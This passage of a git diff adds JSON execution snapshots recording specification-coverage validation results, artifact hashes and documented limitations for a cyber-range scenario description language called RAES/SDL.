"Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "982ffaed259c4efd8d6c7c789e863cdc763cd06e132aebe2e749260eeabe6aaf", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "98bc546c171514abdb6a0e40339ef0d989a840dbc7c096fd2a57ac99c9489114", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "d65c11de60803f4e5c8d526bec99e9151994fe1b1ed8f78288733ea1da4c02a9", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "790b933a2e45269c7628ef83da0f6d85bc22c364", + "snapshot_id": "raes-standardized-specification-coverage-issue-1223-v28", + "snapshot_revision": "28.0.0", + "source_state": { + "base_revision": "790b933a2e45269c7628ef83da0f6d85bc22c364", + "checkout_state": "modified", + "implementation_digest": "48afb9c43cfd638baba4da9a68f7b8860036552c1cf3b6c68264f6b2c8421cea", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v29.json b/docs/research/specification-coverage/execution-snapshot-v29.json new file mode 100644 index 000000000..dce2be247 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v29.json @@ -0,0 +1,691 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-17T06:16:38+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "982ffaed259c4efd8d6c7c789e863cdc763cd06e132aebe2e749260eeabe6aaf", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "ac398361f8121d702635ca8839ab53f27ac1ed03d6bc61d6df5888c88720c652", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "9fa4aac600aa08069c50802ce0b4aa628f589ae0ebe218ffec545a9a47e8e3f5", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "be4e7786c6b1320898bdd1f5057dbb98a41297eb", + "snapshot_id": "raes-standardized-specification-coverage-issue-1297-v29", + "snapshot_revision": "29.0.0", + "source_state": { + "base_revision": "be4e7786c6b1320898bdd1f5057dbb98a41297eb", + "checkout_state": "modified", + "implementation_digest": "a2d92496952f753472691119cd438fa6953e5222660b6086305872a8eeaca844", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v30.json b/docs/research/specification-coverage/execution-snapshot-v30.json new file mode 100644 index 000000000..9c3007e31 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v30.json @@ -0,0 +1,692 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and 